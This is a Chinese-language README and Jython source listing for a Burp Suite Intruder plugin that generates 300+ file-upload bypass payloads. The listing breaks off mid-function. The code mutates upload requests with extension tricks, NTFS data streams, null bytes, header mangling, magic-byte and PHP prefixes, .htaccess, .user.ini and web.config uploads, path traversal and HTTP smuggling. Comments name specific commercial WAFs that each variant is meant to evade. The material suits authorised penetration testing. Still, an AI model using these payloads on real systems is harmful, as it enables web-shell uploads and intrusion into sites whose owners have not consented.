Burp Suite 文件上传漏洞Fuzz插件

Burp Suite 文件上传漏洞Fuzz插件

本Burp Suite插件专为文件上传漏洞检测设计,提供自动化Fuzz测试,共300+条payload。效果如下图

image

包含以下攻击向量

🛡️ WAF绕过技术

  • 后缀变异:ASP/ASPX/PHP/JSP后缀混淆(空字节、双扩展名、特殊字符等)
  • 内容编码:MIME编码、Base64编码、RFC 2047规范绕过
  • 协议攻击:HTTP头拆分、分块传输编码、协议走私

🖥️ 系统特性利用

  • Windows特性
    • NTFS数据流(::$DATA)
    • 保留设备名(CON, AUX)
    • 长文件名截断
  • Linux特性
    • Apache多级扩展解析
    • 路径遍历尝试
    • 点号截断攻击

🎭 内容欺骗

  • 魔术字节注入(GIF/PNG/PDF头)
  • SVG+XSS组合攻击
  • 文件内容混淆(注释插入、编码变异)

安装

安装python环境
https://www.jython.org/download

image

选择python环境–>导入py文件即可

image

使用指南

1 拦截文件上传请求

2 右键请求内容 → “Send to Intruder”

3 Positions内将Content-Disposition开始,到文件内容结束的数据作为fuzz对象,如图

image

4 在Intruder的”Payloads”标签中选择:

Payload type: Extension-generated
Select generator: upload_auto_fuzz

image

5 取消Payload encoding选择框,如图

image

6 开始攻击并分析响应

Payload分类说明

类别 样本payload 检测目标
后缀绕过 filename="test.asp;.jpg" 文件类型校验缺陷
Content-Disposition content-Disposition: form-data 头解析大小写敏感性
魔术字节 GIF89a;<?php... 内容检测绕过
协议走私 Transfer-Encoding: chunked WAF协议解析差异

开发者信息

  • 开发者: T3nk0

源码

# -*-coding:utf-8 -*-

from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
import random
from urllib import unquote
import re

def getAttackPayloads(TEMPLATE):
    # 获取文件前后缀
    filename_suffix = re.search('filename=".*[.](.*)"', TEMPLATE).group(1)  # jpg
    content_type = TEMPLATE.split('\n')[-1]

    def script_suffix_Fuzz():
        # 文件后缀绕过
        asp_fuzz = ['asp;.jpg', 'asp.jpg', 'asp;jpg', 'asp/1.jpg', 'asp{}.jpg'.format(unquote('%00')), 'asp .jpg',
                    'asp_.jpg', 'asa', 'cer', 'cdx', 'ashx', 'asmx', 'xml', 'htr', 'asax', 'asaspp', 'asp;+2.jpg']
        aspx_fuzz = ['asPx', 'aspx .jpg', 'aspx_.jpg', 'aspx;+2.jpg', 'asaspxpx']
        php_fuzz = ['php1', 'php2', 'php3', 'php4', 'php5', 'pHp', 'php .jpg', 'php_.jpg', 'php.jpg', 'php.  .jpg',
                    'jpg/.php',
                    'php.123', 'jpg/php', 'jpg/1.php', 'jpg{}.php'.format(unquote('%00')),
                    'php{}.jpg'.format(unquote('%00')),
                    'php:1.jpg', 'php::$DATA', 'php::$DATA......', 'ph\np']
        jsp_fuzz = ['.jsp.jpg.jsp', 'jspa', 'jsps', 'jspx', 'jspf', 'jsp .jpg', 'jsp_.jpg']
        
        # 新增更多后缀绕过方式
        asp_fuzz_new = ['asp.', 'asp;', 'asp,', 'asp:', 'asp%20', 'asp%00', 'asp%0a', 'asp%0d%0a', 
                        'asp%0d', 'asp%0a%0d', 'asp%09', 'asp%0b', 'asp%0c', 'asp%0e', 'asp%0f', 
                        'asp.jpg.asp', 'asp.jpg.asp.jpg', 'asp.asp.jpg', 'asp.jpg.123', 
                        'asp.jpg...', 'asp.jpg/', 'asp.jpg\\', 'asp.jpg::$DATA']
        
        php_fuzz_new = ['php.', 'php;', 'php,', 'php:', 'php%20', 'php%00', 'phtml', 'pht', 'phpt', 
                        'php7', 'php8', 'phar', 'pgif', 'php.jpg.php', 'php.jpg.php.jpg', 
                        'php.php.jpg', 'php.jpg.123', 'php.jpg...', 'php.jpg/', 'php.jpg\\']
        
        # 组合所有后缀绕过方式
        suffix_fuzz = asp_fuzz + aspx_fuzz + php_fuzz + jsp_fuzz + asp_fuzz_new + php_fuzz_new

        suffix_payload = []  # 保存文件后缀绕过的所有payload列表

        for each_suffix in suffix_fuzz:
            # 测试每个上传后缀
            TEMP_TEMPLATE = TEMPLATE
            temp = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            suffix_payload.append(temp)

        return suffix_payload

    def CFF_Fuzz():
        # Content-Disposition 绕过  form-data 绕过  filename 绕过
        # Content-Disposition: form-data; name="uploaded"; filename="zc.jpg"
        Suffix = ['php', 'asp', 'aspx', 'jsp', 'asmx', 'xml', 'html', 'shtml', 'svg', 'swf', 'htaccess']  # 需要测试的能上传的文件类型
        # Suffix = ['jsp']
        Content_Disposition_payload = []  # 保存Content_Disposition绕过的所有payload列表

        # 遍历每个需要测试的上传后缀
        for each_suffix in Suffix:
            # 测试每个上传后缀
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix,
                                                         each_suffix)  # TEMP_TEMPLATE_SUFFIX: Content-Disposition: form-data; name="uploaded"; filename="zc.后缀"
            filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX)
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(
                TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition', 'content-Disposition'))  # 改变大小写
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(
                TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: ', 'content-Disposition:'))  # 减少一个空格
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(
                TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: ', 'content-Disposition:  '))  # 增加一个空格
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', '~form-data'))
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', 'f+orm-data'))
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', '*'))
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(
                TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data;  '))  # 增加一个空格
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data;'))  # 减少一个空格
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                 'filename===zc.{}'.format(
                                                                                     each_suffix)))  # 过阿里云waf,删双引号绕过
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                 'filename==="zc.{}'.format(
                                                                                     each_suffix)))  # 过阿里云waf,少双引号绕过
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                 'filename==="zc.{}"'.format(
                                                                                     each_suffix)))  # 过阿里云waf,三个等号
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                 'filename="zc.{}\n"'.format(
                                                                                     each_suffix)))  # 过阿里云waf,回车
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                 '\nfilename==="zc.\n{}"'.format(
                                                                                     each_suffix)))  # 过阿里云waf, 三个等号加回车
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                 'filename="zc.\nC.{}"'.format(
                                                                                     each_suffix)))  # 过安全狗和云锁waf    # 待定,因为没法删掉Content-Type
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(
                TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total, 'filename\n="zc.{}"'.format(each_suffix)))  # 过百度云waf

            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                 'filename="zc\.{}"'.format(
                                                                                     each_suffix)))  # 过硬waf,反斜杠绕过
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                 'filename===zczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczc.{}'.format(
                                                                                     each_suffix)))  # 过硬waf,超长文件名
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data',
                                                                                 'form-data------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------'))  # 过硬waf,超长-

            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                 'filename="zc.jpg";filename="zc.{}"'.format(
                                                                                     each_suffix)))  # 双参数
            
            # 新增绕过方式
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                'filename="zc.{}.jpg"'.format(
                                                                                    each_suffix)))  # 双扩展名绕过
            
            TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
            Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
                                                                                'filename="zc.jpg.{}"'.format(
                                                                                    each_suffix)))  # 双扩展名绕过2

        return Content_Disposition_payload

    def content_type_Fuzz():
        # content_type = Content-Type: image/jpeg
        content_type_payload = []  # 保存content_type绕过的所有payload列表
        Suffix = ['asp', 'aspx', 'php', 'jsp']
        # 遍历每个需要测试的上传后缀
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/gif'))  # 修改为image/gif
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/jpeg'))  # 修改为image/jpeg
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/php'))  # 修改为application/php
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: text/plain'))  # 修改为text/plain
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, ''))
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(TEMP_TEMPLATE_CONTENT_TYPE.replace('Content-Type', 'content-type'))  # 改变大小写
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace('Content-Type: ', 'Content-Type:  '))  # 冒号后面 增加一个空格
                
            # 新增Content-Type绕过方式
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/png'))  # 修改为image/png
                
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/octet-stream'))  # 修改为二进制流
                
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: multipart/form-data'))  # 修改为form-data
                
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/x-httpd-php'))  # PHP专用
                
            TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
            content_type_payload.append(
                TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/x-asp'))  # ASP专用

        return content_type_payload

    def windows_features_Fuzz():
        # Windows系统特性绕过
        windows_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            # NTFS数据流特性
            TEMP_TEMPLATE_NTFS = TEMP_TEMPLATE_SUFFIX
            filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_NTFS).group(1)
            windows_payload.append(TEMP_TEMPLATE_NTFS.replace(filename_total, 
                                                            'filename="zc.{}::$DATA"'.format(each_suffix)))
            
            # IIS短文件名截断
            TEMP_TEMPLATE_IIS = TEMP_TEMPLATE_SUFFIX
            windows_payload.append(TEMP_TEMPLATE_IIS.replace(filename_total, 
                                                           'filename="zc.{};.jpg"'.format(each_suffix)))
            
            # 交替数据流
            TEMP_TEMPLATE_ADS = TEMP_TEMPLATE_SUFFIX
            windows_payload.append(TEMP_TEMPLATE_ADS.replace(filename_total, 
                                                           'filename="zc:{}"'.format(each_suffix)))
            
            # 保留设备名
            for device in ['con', 'aux', 'nul', 'com1', 'com2', 'lpt1']:
                TEMP_TEMPLATE_DEVICE = TEMP_TEMPLATE_SUFFIX
                windows_payload.append(TEMP_TEMPLATE_DEVICE.replace(filename_total, 
                                                                  'filename="{}.{}"'.format(device, each_suffix)))
        
        return windows_payload

    def linux_features_Fuzz():
        # Linux系统特性绕过
        linux_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            # Apache多级扩展名绕过
            TEMP_TEMPLATE_APACHE = TEMP_TEMPLATE_SUFFIX
            filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_APACHE).group(1)
            linux_payload.append(TEMP_TEMPLATE_APACHE.replace(filename_total, 
                                                            'filename="zc.{}.png"'.format(each_suffix)))
            
            # 点号截断
            TEMP_TEMPLATE_DOT = TEMP_TEMPLATE_SUFFIX
            linux_payload.append(TEMP_TEMPLATE_DOT.replace(filename_total, 
                                                         'filename="zc.{}."'.format(each_suffix)))
            
            # 路径遍历尝试
            TEMP_TEMPLATE_PATH = TEMP_TEMPLATE_SUFFIX
            linux_payload.append(TEMP_TEMPLATE_PATH.replace(filename_total, 
                                                          'filename="../zc.{}"'.format(each_suffix)))
            
            # 特殊字符绕过
            for char in ['/', '\\', '?', '*', '|', ':', '"', '<', '>']:
                TEMP_TEMPLATE_SPECIAL = TEMP_TEMPLATE_SUFFIX
                linux_payload.append(TEMP_TEMPLATE_SPECIAL.replace(filename_total, 
                                                                 'filename="zc{}.{}"'.format(char, each_suffix)))
        
        return linux_payload

    def magic_bytes_Fuzz():
        # 添加文件魔术字节绕过
        magic_bytes_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        # 常见文件魔术字节 (以字符串形式表示,避免二进制问题)
        magic_bytes = {
            'jpg': '\\xff\\xd8\\xff\\xe0',  # JPEG
            'png': '\\x89PNG\\r\\n\\x1a\\n',  # PNG
            'gif': 'GIF89a',  # GIF
            'pdf': '%PDF-1.5'  # PDF
        }
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            for magic_type, magic_byte in magic_bytes.items():
                # 在Content-Type后添加魔术字节
                if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
                    content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_SUFFIX).group(0)
                    TEMP_TEMPLATE_MAGIC = TEMP_TEMPLATE_SUFFIX
                    magic_bytes_payload.append(
                        TEMP_TEMPLATE_MAGIC.replace(content_type_line, content_type_line + '\r\n' + magic_byte))
        
        return magic_bytes_payload
    
    def file_content_trick_Fuzz():
        # 文件内容欺骗技术
        content_trick_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            # 添加GIF89a文件头
            TEMP_TEMPLATE_GIF = TEMP_TEMPLATE_SUFFIX
            if 'Content-Type:' in TEMP_TEMPLATE_GIF:
                content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_GIF).group(0)
                content_trick_payload.append(TEMP_TEMPLATE_GIF.replace(content_type_line, 
                                                                     content_type_line + '\r\nGIF89a;'))
            
            # 添加PHP代码注释为图像内容
            TEMP_TEMPLATE_PHP = TEMP_TEMPLATE_SUFFIX
            if 'Content-Type:' in TEMP_TEMPLATE_PHP and each_suffix == 'php':
                content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_PHP).group(0)
                content_trick_payload.append(TEMP_TEMPLATE_PHP.replace(content_type_line, 
                                                                    content_type_line + '\r\n<?php /*'))
                
            # 添加SVG XML头
            TEMP_TEMPLATE_SVG = TEMP_TEMPLATE_SUFFIX
            if 'Content-Type:' in TEMP_TEMPLATE_SVG:
                content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_SVG).group(0)
                svg_header = '<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"></svg>'
                content_trick_payload.append(TEMP_TEMPLATE_SVG.replace(content_type_line, 
                                                                     content_type_line + '\r\n' + svg_header))
        
        return content_trick_payload
    
    def user_ini_Fuzz():
        # .user.ini文件包含链式利用
        user_ini_payload = []
        
        # 上传.user.ini文件
        TEMP_TEMPLATE = TEMPLATE
        TEMP_TEMPLATE_INI = TEMP_TEMPLATE.replace(filename_suffix, 'user.ini')
        filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_INI).group(1)
        user_ini_payload.append(TEMP_TEMPLATE_INI.replace(filename_total, 'filename=".user.ini"'))
        
        # 上传.htaccess文件
        TEMP_TEMPLATE = TEMPLATE
        TEMP_TEMPLATE_HTACCESS = TEMP_TEMPLATE.replace(filename_suffix, 'htaccess')
        filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_HTACCESS).group(1)
        user_ini_payload.append(TEMP_TEMPLATE_HTACCESS.replace(filename_total, 'filename=".htaccess"'))
        
        # 上传web.config文件 (IIS)
        TEMP_TEMPLATE = TEMPLATE
        TEMP_TEMPLATE_WEBCONFIG = TEMP_TEMPLATE.replace(filename_suffix, 'config')
        filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_WEBCONFIG).group(1)
        user_ini_payload.append(TEMP_TEMPLATE_WEBCONFIG.replace(filename_total, 'filename="web.config"'))
        
        return user_ini_payload

    def mime_encoding_Fuzz():
        # MIME编码绕过 (RFC 2047)
        mime_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            # RFC 2047编码
            TEMP_TEMPLATE_MIME = TEMP_TEMPLATE_SUFFIX
            filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_MIME).group(1)
            mime_payload.append(TEMP_TEMPLATE_MIME.replace(filename_total, 
                                                         'filename="=?utf-8?Q?zc.{}?="'.format(each_suffix)))
            
            # Base64编码变种
            import base64
            encoded_filename = base64.b64encode("zc.{}".format(each_suffix))
            TEMP_TEMPLATE_B64 = TEMP_TEMPLATE_SUFFIX
            mime_payload.append(TEMP_TEMPLATE_B64.replace(filename_total, 
                                                        'filename="=?utf-8?B?{}?="'.format(encoded_filename)))
            
            # 混合编码
            TEMP_TEMPLATE_MIXED = TEMP_TEMPLATE_SUFFIX
            mime_payload.append(TEMP_TEMPLATE_MIXED.replace(filename_total, 
                                                          'filename="=?utf-8?Q?zc=2E{}?="'.format(each_suffix)))
        
        return mime_payload
    
    def http_protocol_split_Fuzz():
        # HTTP协议拆分绕过
        http_split_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            # 多个Content-Disposition字段
            TEMP_TEMPLATE_MULTI = TEMP_TEMPLATE_SUFFIX
            if 'Content-Disposition:' in TEMP_TEMPLATE_MULTI:
                content_disp = re.search(r'(Content-Disposition:.*?filename=".*?")', TEMP_TEMPLATE_MULTI, re.DOTALL).group(1)
                name_part = re.search(r'(name=".*?";)', content_disp)
                filename_part = re.search(r'(filename=".*?")', content_disp)
                
                if name_part and filename_part:
                    name_part = name_part.group(1)
                    filename_part = filename_part.group(1)
                    
                    # 拆分为两个字段
                    new_content = content_disp.replace("{} {}".format(name_part, filename_part), 
                                                    "{}\r\nContent-Disposition: {}".format(name_part, filename_part))
                    http_split_payload.append(TEMP_TEMPLATE_MULTI.replace(content_disp, new_content))
            
            # 插入额外的分号
            TEMP_TEMPLATE_SEMICOLON = TEMP_TEMPLATE_SUFFIX
            if 'Content-Disposition:' in TEMP_TEMPLATE_SEMICOLON:
                content_disp = re.search(r'(Content-Disposition:.*?filename=".*?")', TEMP_TEMPLATE_SEMICOLON, re.DOTALL).group(1)
                modified_content = content_disp.replace('form-data;', 'form-data;;;;')
                http_split_payload.append(TEMP_TEMPLATE_SEMICOLON.replace(content_disp, modified_content))
        
        return http_split_payload
    
    def chunked_encoding_Fuzz():
        # 分块传输编码绕过
        chunked_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            # 添加Transfer-Encoding: chunked头
            if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
                TEMP_TEMPLATE_CHUNKED = TEMP_TEMPLATE_SUFFIX
                chunked_header = 'Transfer-Encoding: chunked\r\n'
                chunked_payload.append(TEMP_TEMPLATE_CHUNKED.replace('Content-Type:', 
                                                                   chunked_header + 'Content-Type:'))
        
        return chunked_payload
    
    def waf_bypass_Fuzz():
        # WAF对抗技术
        waf_bypass_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            # 双重URL编码
            TEMP_TEMPLATE_DOUBLE_URL = TEMP_TEMPLATE_SUFFIX
            filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_DOUBLE_URL).group(1)
            double_encoded = 'filename="zc.%252566ile"'  # %2566ile解码后为%66ile,再解码为file
            waf_bypass_payload.append(TEMP_TEMPLATE_DOUBLE_URL.replace(filename_total, double_encoded))
            
            # 数据包污染(添加大量随机数据)
            TEMP_TEMPLATE_POLLUTION = TEMP_TEMPLATE_SUFFIX
            if 'Content-Disposition:' in TEMP_TEMPLATE_POLLUTION:
                import random
                import string
                random_data = ''.join(random.choice(string.ascii_letters) for _ in range(1024))
                random_comment = 'X-Random-Data: {}\r\n'.format(random_data)
                waf_bypass_payload.append(TEMP_TEMPLATE_POLLUTION.replace('Content-Disposition:', 
                                                                        random_comment + 'Content-Disposition:'))
        
        return waf_bypass_payload

    def unicode_normalization_Fuzz():
        # Unicode归一化绕过技术 - 简化版
        unicode_payload = []
        Suffix = ['php']  # 只对PHP文件使用,减少payload数量
        
        # 简化的Unicode字符映射
        unicode_chars = {
            'p': [u'p', u'\u03c1'],  # 拉丁p、希腊rho
            'h': [u'h'],
            'a': [u'a'],
            's': [u's'],
            'j': [u'j']
        }
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
            
            # 只创建几个最有效的同形异义字符组合
            unicode_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, 
                                                             'filename="zc.\u03c1hp"'))  # 使用希腊rho替代p
            unicode_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, 
                                                             'filename="zc.p\u04bbp"'))  # 使用西里尔h
        
        return unicode_payload

    def http_header_smuggling_Fuzz():
        # HTTP头走私/走私技术
        header_smuggling_payload = []
        Suffix = ['php', 'asp', 'aspx', 'jsp']
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            
            # 添加多个Content-Type头
            if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
                TEMP_TEMPLATE_HEADER = TEMP_TEMPLATE_SUFFIX
                header_smuggling_payload.append(TEMP_TEMPLATE_HEADER.replace('Content-Type:', 
                                                                      'Content-Type: application/x-www-form-urlencoded\r\nContent-Type:'))
            
            # 头部折叠攻击
            if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
                TEMP_TEMPLATE_FOLDING = TEMP_TEMPLATE_SUFFIX
                folded_content = TEMP_TEMPLATE_FOLDING.replace('Content-Disposition:', 'Content-Disposition:\r\n ')
                header_smuggling_payload.append(folded_content)
            
            # 特殊分隔符
            if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
                TEMP_TEMPLATE_SEPARATOR = TEMP_TEMPLATE_SUFFIX
                for separator in ['\t', '\v', '\f']:
                    header_smuggling_payload.append(TEMP_TEMPLATE_SEPARATOR.replace(': ', ':' + separator))
        
        return header_smuggling_payload

    def null_byte_variations_Fuzz():
        # 空字节变种攻击 - 简化版
        null_byte_payload = []
        Suffix = ['php', 'asp']  # 减少测试的后缀
        
        # 最常见的几种空字节表示
        null_chars = [
            '%00', '\\0', '\\x00', # 常用空字节表示
        ]
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
            
            for null_char in null_chars:
                null_byte_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, 
                                                                   'filename="zc.{}{}jpg"'.format(each_suffix, null_char)))
        
        return null_byte_payload

    def protocol_handler_Fuzz():
        # 自定义协议处理器利用 - 简化版
        protocol_payload = []
        Suffix = ['php']  # 只对PHP使用,因为大多数协议处理器是PHP特有的
        
        # 最常用的几种协议
        protocols = [
            'phar://', 'zip://', 'php://', 'file://'
        ]
        
        for each_suffix in Suffix:
            TEMP_TEMPLATE = TEMPLATE
            TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
            filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
            
            for protocol in protocols:
                protocol_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, 
                                                              'filename="{}zc.{}"'.format(protocol, each_suffix)))
        
        return protocol_payload

    def svg_xss_Fuzz():
        # SVG+XSS组合攻击
        svg_xss_payload = []
        
        TEMP_TEMPLATE = TEMPLATE
        TEMP_TEMPLATE_SVG = TEMP_TEMPLATE.replace(filename_suffix, 'svg')
        
        if 'Content-Type:' in TEMP_TEMPLATE_SVG:
